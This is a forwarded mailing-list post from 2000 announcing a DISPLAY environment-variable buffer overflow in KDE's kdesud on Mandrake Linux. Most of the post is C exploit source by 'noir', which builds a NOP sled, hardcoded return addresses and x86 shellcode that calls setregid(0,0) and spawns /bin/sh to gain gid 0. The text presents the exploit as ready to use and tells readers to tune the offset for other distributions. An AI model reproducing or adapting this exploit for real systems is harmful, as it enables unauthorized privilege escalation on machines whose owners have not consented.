FYI
-- Forwarded message --
Date: Fri, 26 May 2000 19:21:10 +0300
From: noir <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: KDE: /usr/bin/kdesud, gid = 0 exploit
/usr/bin/kdesud has DISPLAY enviroment variable overflow.
tested on Mandrake 7.02 (Air), exploit will get you gid=0
Shameless self promotion: Any security related job in Istanbul/Turkey
???
Respect,
noir
/* KDE: /usr/bin/kdesud exploit by noir
* x86/Linux
* [EMAIL PROTECTED] | [EMAIL PROTECTED]
* DISPLAY env overflow
* this script will get you gid = 0 !!
* tested on Mandrake 7.0 (Air), for other distros play with argv1 for
eip
* greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org
*
*/
#include
#include
#define NOP 0x90
#define ALIGN 2
#define RET 0xb664 // Mandrake 7.0 (x86)
int
main(int argc, char *argv[])
{
unsigned char shell[] =
"\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char buf[400];
int i, a;
long ret = RET;
if(argv[1])
ret = ret - atoi(argv[1]);
memset(buf, NOP, 400);
for(i = ALIGN ; i < 160 + ALIGN; i+=4)
*(long *) &buf[i] = ret;
for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
buf[i] = shell[a];
buf[399] = 0x00;
printf("eip: 0x%x\n", ret);
setenv("DISPLAY", buf, 1);
execl("/usr/bin/kdesud", "kdesud", 0);
}
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